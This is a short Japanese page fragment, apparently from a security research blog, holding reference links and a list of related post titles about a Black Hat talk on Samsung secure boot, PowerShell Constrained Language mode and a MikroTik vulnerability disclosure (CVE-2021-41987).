- https://wiki.mikrotik.com/wiki/Manual:System/Certificates
- https://en.wikipedia.org/wiki/Base64

*画像のソース: Pixabay

Black Hatでの講演：D39がBlack Hat USA 2020にて、Samsungのセキュアブートへの侵害に関する調査結果を披露します。

D39の脆弱性調査結果について

Black Hatについて

Related Post

BlackHatでのトーク：SamsungのRoot of Trustを破壊 - Samsungのセキュアブートへの悪用

PowerShellのConstrained Language（制約付き言語）モードに対する深い考察

【Black Hat Asia】TeamT5の研究員がブラックハットアジア（Black Hat Asia）に参加

Mikrotik 脆弱性の開示と届出（CVE-2021-41987）